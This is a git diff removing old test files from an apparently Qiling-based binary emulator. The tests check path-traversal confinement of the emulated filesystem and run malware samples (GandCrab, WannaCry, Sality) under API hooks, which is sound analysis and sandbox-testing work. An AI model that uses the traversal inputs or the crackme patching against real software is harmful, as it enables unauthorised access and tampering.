str(realpath(rootfs) / 'test') - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\xxxx\\..\\test')) - - expected = str(realpath(rootfs) / 'Windows' / 'test') - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows', 'test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32', '..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32\\drivers', '..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32', '..\\xxxx\\..\\test')) - - @unittest.skipUnless(is_nt_host, 'NT host only') - def test_convert_posix_to_nt(self): - rootfs = PureWindowsPath(r'../examples/rootfs/x86_linux') - - expected = str(realpath(rootfs) / 'test') - - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../xxxx/../test')) - - self.assertEqual(expected, posix_to_native(str(rootfs), '/', 'test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../xxxx/../test')) - - expected = str(realpath(rootfs) / 'proc' / 'test') - - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc', 'test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys/net', '../../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../xxxx/../test')) - - def test_convert_for_native_os(self): - - if is_nt_host: - rootfs = PureWindowsPath(r'../examples/rootfs/x86_windows') - - expected = str(realpath(rootfs) / 'test') - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\PhysicalDrive0\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\hostname\\share\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\\\.\\BootPartition\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'C:\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '\\..\\xxxx\\..\\test')) - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', 'test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\', '..\\xxxx\\..\\test')) - - expected = str(realpath(rootfs) / 'Windows' / 'test') - - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows', 'test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32', '..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32\\drivers', '..\\..\\test')) - self.assertEqual(expected, nt_to_native(str(rootfs), 'C:\\Windows\\System32', '..\\xxxx\\..\\test')) - - elif is_posix_host: - rootfs = PurePosixPath(r'../examples/rootfs/x86_linux') - - expected = str(realpath(rootfs) / 'test') - - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/../xxxx/../test')) - - self.assertEqual(expected, posix_to_native(str(rootfs), '/', 'test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '../xxxx/../test')) - - expected = str(realpath(rootfs) / 'proc' / 'test') - - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc', 'test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys/net', '../../test')) - self.assertEqual(expected, posix_to_native(str(rootfs), '/proc/sys', '../xxxx/../test')) - - # test virtual symlink: absolute virtual path - rootfs = PurePosixPath(r'../examples/rootfs/arm_linux') - expected = str(realpath(rootfs) / 'tmp' / 'media' / 'nand' / 'symlink_test' / 'libsymlink_test.so') - - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/lib/libsymlink_test.so')) - - # test virtual symlink: relative virtual path - rootfs = PurePosixPath(r'../examples/rootfs/arm_qnx') - expected = str(realpath(rootfs) / 'lib' / 'libm.so.2') - - self.assertEqual(expected, posix_to_native(str(rootfs), '/', '/usr/lib/libm.so.2')) - - else: - self.fail('unexpected host os') - - -if __name__ == '__main__': - unittest.main() diff --git a/tests/test_pe.py.orig b/tests/test_pe.py.orig deleted file mode 100644 index 2cac6e7b4..000000000 --- a/tests/test_pe.py.orig +++ /dev/null @@ -1,596 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import os, random, sys, unittest, logging -import string as st - -sys.path.append("..") -from qiling import Qiling -from qiling.const import * -from qiling.exception import * -from qiling.extensions import pipe -from qiling.loader.pe import QlPeCache -from qiling.os.const import * -from qiling.os.windows.fncc import * -from qiling.os.windows.utils import * -from qiling.os.mapper import QlFsMappedObject -# This is intended. -# See https://stackoverflow.com/questions/8804830/python-multiprocessing-picklingerror-cant-pickle-type-function -import multiprocess as mb -import traceback - -# On Windows, the CPython GC is too conservative and may hold too -# many Unicorn objects (nearly 16GB) until free-ing them which may -# cause failure during tests. -# -# Use subprocess to make sure resources are free-ed when the subprocess -# is killed. -class QLWinSingleTest: - - def __init__(self, test): - self._test = test - - def _run_test(self, results): - try: - results['result'] = self._test() - except Exception as e: - tb = traceback.format_exc() - results['exception'] = tb - results['result'] = False - - def run(self): - with mb.Manager() as m: - results = m.dict() - p = mb.Process(target=QLWinSingleTest._run_test, args=(self, results)) - p.start() - p.join() - if "exception" not in results: - return results['result'] - else: - raise RuntimeError(f"\n\nGot an exception during subprocess:\n\n{results['exception']}") - - -class TestOut: - def __init__(self): - self.output = {} - - def write(self, string): - key, value = string.split(b': ', 1) - assert key not in self.output - self.output[key] = value - return len(string) - -IS_FAST_TEST = 'QL_FAST_TEST' in os.environ - -class PETest(unittest.TestCase): - - def test_pe_win_x8664_hello(self): - def _t(): - ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_hello.exe"], "../examples/rootfs/x8664_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_hello(self): - def _t(): - ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_hello.exe"], "../examples/rootfs/x86_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_file_upx(self): - def _t(): - ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_file_upx.exe"], "../examples/rootfs/x8664_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_file_upx(self): - def _t(): - ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_file_upx.exe"], "../examples/rootfs/x86_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - @unittest.skipIf(IS_FAST_TEST, 'fast test') - def test_pe_win_x86_uselessdisk(self): - def _t(): - class Fake_Drive(QlFsMappedObject): - - def read(self, size): - return random.randint(0, 256) - - def write(self, bs): - print(bs) - return len(bs) - - def fstat(self): - return -1 - - def close(self): - return 0 - - ql = Qiling(["../examples/rootfs/x86_windows/bin/UselessDisk.bin"], "../examples/rootfs/x86_windows", - verbose=QL_VERBOSE.DEBUG) - ql.add_fs_mapper(r"\\.\PHYSICALDRIVE0", Fake_Drive()) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - @unittest.skipIf(IS_FAST_TEST, 'fast test') - def test_pe_win_x86_gandcrab(self): - def _t(): - def stop(ql: Qiling): - ql.log.info("Ok for now") - - ql.emu_stop() - - def __rand_serialnum() -> str: - """ - see: https://en.wikipedia.org/wiki/Volume_serial_number - see: https://www.digital-detective.net/documents/Volume%20Serial%20Numbers.pdf - """ - - mon = random.randint(1, 12) - day = random.randint(0, 30) - word1 = (mon << 8) + day - - sec = random.randint(0, 59) - ms = random.randint(0, 99) - word2 = (sec << 8) + ms - - unified1 = word1 + word2 - - hrs = random.randint(0, 23) - mins = random.randint(0, 59) - word1 = (hrs << 8) + mins - - yr = random.randint(2000, 2020) - word2 = yr - - unified2 = word1 + word2 - - return f'{unified1:04x}-{unified2:04x}' - - def __rand_name(minlen: int, maxlen: int) -> str: - name_len = random.randint(minlen, maxlen) - - return ''.join(random.choices(st.ascii_lowercase + st.ascii_uppercase, k=name_len)) - - - ql = Qiling(["../examples/rootfs/x86_windows/bin/GandCrab502.bin"], "../examples/rootfs/x86_windows", - verbose=QL_VERBOSE.DEBUG, profile="profiles/windows_gandcrab_admin.ql") - - ql.hook_address(stop, 0x40860f) - - # randomize username - old_uname = ql.os.profile['USER']['username'] - new_uname = __rand_name(3, 10) - - # update paths accordingly - path_key = ql.os.profile['PATH'] - - for p in path_key: - path_key[p] = path_key[p].replace(old_uname, new_uname) - - ql.os.profile['USER']['username'] = new_uname - - # randomize computer name and serial number - ql.os.profile['SYSTEM']['computername'] = __rand_name(5, 15) - ql.os.profile['VOLUME']['serial_number'] = __rand_serialnum() - - ql.run() - num_syscalls_admin = ql.os.stats.position - del ql - - # RUN AS USER - ql = Qiling(["../examples/rootfs/x86_windows/bin/GandCrab502.bin"], "../examples/rootfs/x86_windows", profile="profiles/windows_gandcrab_user.ql") - - ql.run() - num_syscalls_user = ql.os.stats.position - del ql - - # let's check that gandcrab behave takes a different path if a different environment is found - return num_syscalls_admin != num_syscalls_user - - self.assertTrue(QLWinSingleTest(_t).run()) - - def test_pe_win_x86_multithread(self): - def _t(): - thread_id = -1 - - def ThreadId_onEnter(ql: Qiling, address: int, params): - nonlocal thread_id - - thread_id = ql.os.thread_manager.cur_thread.id - - ql = Qiling(["../examples/rootfs/x86_windows/bin/MultiThread.exe"], "../examples/rootfs/x86_windows") - ql.os.set_api("GetCurrentThreadId", ThreadId_onEnter, QL_INTERCEPT.ENTER) - ql.run() - - del ql - - return (1 <= thread_id < 255) - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_clipboard(self): - def _t(): - ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_clipboard_test.exe"], "../examples/rootfs/x8664_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_tls(self): - def _t(): - ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_tls.exe"], "../examples/rootfs/x8664_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_getlasterror(self): - def _t(): - ql = Qiling(["../examples/rootfs/x86_windows/bin/GetLastError.exe"], "../examples/rootfs/x86_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_regdemo(self): - def _t(): - ql = Qiling(["../examples/rootfs/x86_windows/bin/RegDemo.exe"], "../examples/rootfs/x86_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_fls(self): - def _t(): - ql = Qiling(["../examples/rootfs/x8664_windows/bin/Fls.exe"], "../examples/rootfs/x8664_windows", verbose=QL_VERBOSE.DEFAULT) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_return_from_main_stackpointer(self): - def _t(): - ql = Qiling(["../examples/rootfs/x86_windows/bin/return_main.exe"], "../examples/rootfs/x86_windows", stop=QL_STOP.STACK_POINTER, libcache=True) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_return_from_main_exit_trap(self): - def _t(): - ql = Qiling(["../examples/rootfs/x86_windows/bin/return_main.exe"], "../examples/rootfs/x86_windows", stop=QL_STOP.EXIT_TRAP, libcache=True) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_return_from_main_stackpointer(self): - def _t(): - ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_return_main.exe"], "../examples/rootfs/x8664_windows", stop=QL_STOP.STACK_POINTER, libcache=True) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_return_from_main_exit_trap(self): - def _t(): - ql = Qiling(["../examples/rootfs/x8664_windows/bin/x8664_return_main.exe"], "../examples/rootfs/x8664_windows", stop=QL_STOP.EXIT_TRAP, libcache=True) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - @unittest.skipIf(IS_FAST_TEST, 'fast test') - def test_pe_win_x86_wannacry(self): - def _t(): - def stop(ql): - ql.log.info("killerswtichfound") - ql.log.setLevel(logging.CRITICAL) - ql.log.info("No Print") - ql.emu_stop() - - ql = Qiling(["../examples/rootfs/x86_windows/bin/wannacry.bin"], "../examples/rootfs/x86_windows") - ql.hook_address(stop, 0x40819a) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_NtQueryInformationSystem(self): - def _t(): - ql = Qiling( - ["../examples/rootfs/x86_windows/bin/NtQuerySystemInformation.exe"], - "../examples/rootfs/x86_windows") - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - @unittest.skipIf(IS_FAST_TEST, 'fast test') - def test_pe_win_al_khaser(self): - def _t(): - ql = Qiling(["../examples/rootfs/x86_windows/bin/al-khaser.bin"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.OFF) - - # ole32 functions are not implemented yet; stop before the binary - # starts using them - ql.run(end=0x004016ae) - - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_customapi(self): - def _t(): - set_api = None - set_api_onenter = None - set_api_onexit = None - - @winsdkapi(cc=CDECL, params={ - "str" : STRING - }) - def my_puts64(ql: Qiling, address: int, params): - nonlocal set_api - print(f'[oncall] my_puts64: params = {params}') - - params["str"] = "Hello Hello Hello" - ret = len(params["str"]) - set_api = ret - - return ret - - def my_onenter(ql: Qiling, address: int, params): - nonlocal set_api_onenter - print(f'[onenter] my_onenter: params = {params}') - - set_api_onenter = len(params["str"]) - - def my_onexit(ql: Qiling, address: int, params, retval: int): - nonlocal set_api_onexit - print(f'[onexit] my_onexit: params = {params}') - - set_api_onexit = len(params["str"]) - - def my_sandbox(path, rootfs): - nonlocal set_api, set_api_onenter, set_api_onexit - ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.os.set_api("puts", my_onenter, QL_INTERCEPT.ENTER) - ql.os.set_api("puts", my_puts64, QL_INTERCEPT.CALL) - ql.os.set_api("puts", my_onexit, QL_INTERCEPT.EXIT) - ql.run() - - if 12 != set_api_onenter: - return False - if 17 != set_api: - return False - if 17 != set_api_onexit: - return False - - del ql - return True - - return my_sandbox(["../examples/rootfs/x8664_windows/bin/x8664_hello.exe"], "../examples/rootfs/x8664_windows") - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_argv(self): - def _t(): - - target_txt = None - - def check_print(ql: Qiling, address: int, params): - nonlocal target_txt - ql.os.fcall = ql.os.fcall_select(CDECL) - - params = ql.os.resolve_fcall_params({ - '_Options' : PARAM_INT64, - '_Stream' : POINTER, - '_Format' : STRING, - '_Locale' : DWORD, - '_ArgList' : POINTER - }) - - format = params['_Format'] - arglist = params['_ArgList'] - - count = format.count("%") - fargs = [ql.mem.read_ptr(arglist + i * ql.arch.pointersize) for i in range(count)] - - try: - target_txt = ql.mem.string(fargs[1]) - except: - target_txt = "" - - return address, params - - ql = Qiling(["../examples/rootfs/x86_windows/bin/argv.exe"], "../examples/rootfs/x86_windows") - ql.os.set_api('__stdio_common_vfprintf', check_print, QL_INTERCEPT.ENTER) - ql.run() - - if target_txt.find("argv.exe"): - target_txt = "argv.exe" - - if "argv.exe" != target_txt: - return False - - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_crackme(self): - def _t(): - def force_call_dialog_func(ql): - # get DialogFunc address - lpDialogFunc = ql.unpack32(ql.mem.read(ql.arch.regs.esp - 0x8, 4)) - # setup stack for DialogFunc - ql.stack_push(0) - ql.stack_push(1001) - ql.stack_push(273) - ql.stack_push(0) - ql.stack_push(0x0401018) - # force EIP to DialogFunc - ql.arch.regs.eip = lpDialogFunc - - def our_sandbox(path, rootfs): - ql = Qiling(path, rootfs) - ql.patch(0x004010B5, b'\x90\x90') - ql.patch(0x004010CD, b'\x90\x90') - ql.patch(0x0040110B, b'\x90\x90') - ql.patch(0x00401112, b'\x90\x90') - - ql.os.stdin = pipe.SimpleStringBuffer() - ql.os.stdin.write(b"Ea5yR3versing\n") - - ql.hook_address(force_call_dialog_func, 0x00401016) - ql.run() - del ql - - our_sandbox(["../examples/rootfs/x86_windows/bin/Easy_CrackMe.exe"], "../examples/rootfs/x86_windows") - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x86_cmdln(self): - def _t(): - ql = Qiling( - ["../examples/rootfs/x86_windows/bin/cmdln32.exe", 'arg1', 'arg2 with spaces'], - "../examples/rootfs/x86_windows") - ql.os.stdout = TestOut() - ql.run() - expected_string = b'\n' - expected_keys = [b'_acmdln', b'_wcmdln', b'__p__acmdln', b'__p__wcmdln', b'GetCommandLineA', b'GetCommandLineW'] - for key in expected_keys: - if not (key in ql.os.stdout.output): - return False - if expected_string != ql.os.stdout.output[key]: - return False - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - - def test_pe_win_x8664_cmdln(self): - def _t(): - ql = Qiling( - ["../examples/rootfs/x8664_windows/bin/cmdln64.exe", 'arg1', 'arg2 with spaces'], - "../examples/rootfs/x8664_windows") - ql.os.stdout = TestOut() - ql.run() - expected_string = b'\n' - expected_keys = [b'_acmdln', b'_wcmdln', b'GetCommandLineA', b'GetCommandLineW'] - for key in expected_keys: - if not (key in ql.os.stdout.output): - return False - if expected_string != ql.os.stdout.output[key]: - return False - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - - class RefreshCache(QlPeCache): - def restore(self, path): - # If the cache entry exists, delete it - fcache = self.create_filename(path) - if os.path.exists(fcache): - os.remove(fcache) - return super().restore(path) - - class TestCache(QlPeCache): - def __init__(self, testcase): - super().__init__() - self.testcase = testcase - - def restore(self, path): - entry = super().restore(path) - self.testcase.assertTrue(entry is not None) # Check that it loaded a cache entry - if path.endswith('msvcrt.dll'): - self.testcase.assertEqual(len(entry.cmdlines), 2) - else: - self.testcase.assertEqual(len(entry.cmdlines), 0) - self.testcase.assertIsInstance(entry.data, bytearray) - return entry - - def save(self, path, entry): - self.testcase.assertFalse(True) # This should not be called! - - - def test_pe_win_x8664_libcache(self): - - def _t(): - # First force the cache to be recreated - ql = Qiling(["../examples/rootfs/x8664_windows/bin/cmdln64.exe", - 'arg1', 'arg2 with spaces'], - "../examples/rootfs/x8664_windows", - libcache=PETest.RefreshCache(), - verbose=QL_VERBOSE.DEFAULT) - ql.run() - del ql - - # Now run with a special cache that validates that the 'real' cache will load, - # and that the file is not written again - ql = Qiling(["../examples/rootfs/x8664_windows/bin/cmdln64.exe", - 'arg1', 'arg2 with spaces'], - "../examples/rootfs/x8664_windows", - libcache=PETest.TestCache(self), - verbose=QL_VERBOSE.DEFAULT) - ql.run() - del ql - return True - - self.assertTrue(QLWinSingleTest(_t).run()) - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_pe_sys.py.orig b/tests/test_pe_sys.py.orig deleted file mode 100644 index 08a5b97d8..000000000 --- a/tests/test_pe_sys.py.orig +++ /dev/null @@ -1,274 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import platform, sys, unittest -from typing import List - -from unicorn import UcError - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_STOP, QL_VERBOSE -from qiling.os.const import POINTER, DWORD, HANDLE -from qiling.exception import QlErrorSyscallError -from qiling.os.windows import utils -from qiling.os.windows.wdk_const import * -from qiling.os.windows.api import * -from qiling.os.windows.fncc import * -from qiling.os.windows.dlls.kernel32.fileapi import _CreateFile - -if platform.system() == "Darwin" and platform.machine() == "arm64": - sys.exit(0) - -class PETest(unittest.TestCase): - - def test_pe_win_x86_sality(self): - - def init_unseen_symbols(ql, address, name, ordinal, dll_name): - ql.loader.import_symbols[address] = {"name": name, "ordinal": ordinal, "dll": dll_name.split('.')[0] } - ql.loader.import_address_table[dll_name][name] = address - if ordinal != 0: - ql.loader.import_address_table[dll_name][ordinal] = address - - - # HANDLE CreateThread( - # LPSECURITY_ATTRIBUTES lpThreadAttributes, - # SIZE_T dwStackSize, - # LPTHREAD_START_ROUTINE lpStartAddress, - # __drv_aliasesMem LPVOID lpParameter, - # DWORD dwCreationFlags, - # LPDWORD lpThreadId - # ); - @winsdkapi(cc=STDCALL, params={ - 'lpThreadAttributes' : LPSECURITY_ATTRIBUTES, - 'dwStackSize' : SIZE_T, - 'lpStartAddress' : LPTHREAD_START_ROUTINE, - 'lpParameter' : LPVOID, - 'dwCreationFlags' : DWORD, - 'lpThreadId' : LPDWORD - }) - def hook_CreateThread(ql: Qiling, address: int, params): - # set thread handle - return 1 - - # HANDLE CreateFileA( - # LPCSTR lpFileName, - # DWORD dwDesiredAccess, - # DWORD dwShareMode, - # LPSECURITY_ATTRIBUTES lpSecurityAttributes, - # DWORD dwCreationDisposition, - # DWORD dwFlagsAndAttributes, - # HANDLE hTemplateFile - # ); - @winsdkapi(cc=STDCALL, params={ - 'lpFileName' : LPCSTR, - 'dwDesiredAccess' : DWORD, - 'dwShareMode' : DWORD, - 'lpSecurityAttributes' : LPSECURITY_ATTRIBUTES, - 'dwCreationDisposition' : DWORD, - 'dwFlagsAndAttributes' : DWORD, - 'hTemplateFile' : HANDLE - }) - def hook_CreateFileA(ql: Qiling, address: int, params): - lpFileName = params["lpFileName"] - - if lpFileName.startswith("\\\\.\\"): - if hasattr(ql, 'amsint32_driver'): - return 0x13371337 - - return -1 - - return _CreateFile(ql, address, params) - - @winsdkapi(cc=STDCALL, params={ - 'hFile' : HANDLE, - 'lpBuffer' : LPCVOID, - 'nNumberOfBytesToWrite' : DWORD, - 'lpNumberOfBytesWritten' : LPDWORD, - 'lpOverlapped' : LPOVERLAPPED - }) - def hook_WriteFile(ql: Qiling, address: int, params): - hFile = params["hFile"] - lpBuffer = params["lpBuffer"] - nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"] - lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"] - - r = 1 - buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite) - - if hFile == 0x13371337: - nNumberOfBytesToWrite = utils.io_Write(ql.amsint32_driver, buffer) - - elif hFile == 0xfffffff5: - s = buffer.decode() - - ql.os.stdout.write(s) - ql.os.stats.log_string(s) - - else: - f = ql.os.handle_manager.get(hFile) - - if f is None: - ql.os.last_error = 0xffffffff - return 0 - - f.obj.write(bytes(buffer)) - - ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4) - - return r - - # BOOL StartServiceA( - # SC_HANDLE hService, - # DWORD dwNumServiceArgs, - # LPCSTR *lpServiceArgVectors - # ); - @winsdkapi(cc=STDCALL, params={ - 'hService' : SC_HANDLE, - 'dwNumServiceArgs' : DWORD, - 'lpServiceArgVectors' : POINTER - }) - def hook_StartServiceA(ql: Qiling, address: int, params): - ql.test_set_api = True - - hService = params["hService"] - service_handle = ql.os.handle_manager.get(hService) - - if service_handle.name != "amsint32": - return 1 - - if service_handle.name not in ql.os.services: - return 0 - - service_path = ql.os.services[service_handle.name] - service_path = ql.os.path.transform_to_real_path(service_path) - - amsint32 = Qiling([service_path], ql.rootfs, verbose=QL_VERBOSE.DEBUG) - ntoskrnl = amsint32.loader.get_image_by_name("ntoskrnl.exe") - self.assertIsNotNone(ntoskrnl) - - init_unseen_symbols(amsint32, ntoskrnl.base + 0xb7695, b"NtTerminateProcess", 0, "ntoskrnl.exe") - amsint32.log.info('Loading amsint32 driver') - - setattr(ql, 'amsint32_driver', amsint32) - - try: - amsint32.run() - except UcError as e: - print("Load driver error: ", e) - return 0 - else: - return 1 - - def hook_first_stop_address(ql: Qiling, stops: List[bool]): - ql.log.info(f' >>>> First stop address: {ql.arch.regs.arch_pc:#010x}') - stops[0] = True - ql.emu_stop() - - def hook_second_stop_address(ql: Qiling, stops: List[bool]): - ql.log.info(f' >>>> Second stop address: {ql.arch.regs.arch_pc:#010x}') - stops[1] = True - ql.emu_stop() - - def hook_third_stop_address(ql: Qiling, stops: List[bool]): - ql.log.info(f' >>>> Third stop address: {ql.arch.regs.arch_pc:#010x}') - stops[2] = True - ql.emu_stop() - - stops = [False, False, False] - - ql = Qiling(["../examples/rootfs/x86_windows/bin/sality.dll"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) - - # emulate some Windows API - ql.os.set_api("CreateThread", hook_CreateThread) - ql.os.set_api("CreateFileA", hook_CreateFileA) - ql.os.set_api("WriteFile", hook_WriteFile) - ql.os.set_api("StartServiceA", hook_StartServiceA) - - # run until first stop - ql.hook_address(hook_first_stop_address, 0x40EFFB, stops) - ql.run() - - # execution is about to resume from 0x4053B2, which essentially jumps to ExitThread (kernel32.dll). - # Set ExitThread exit code to 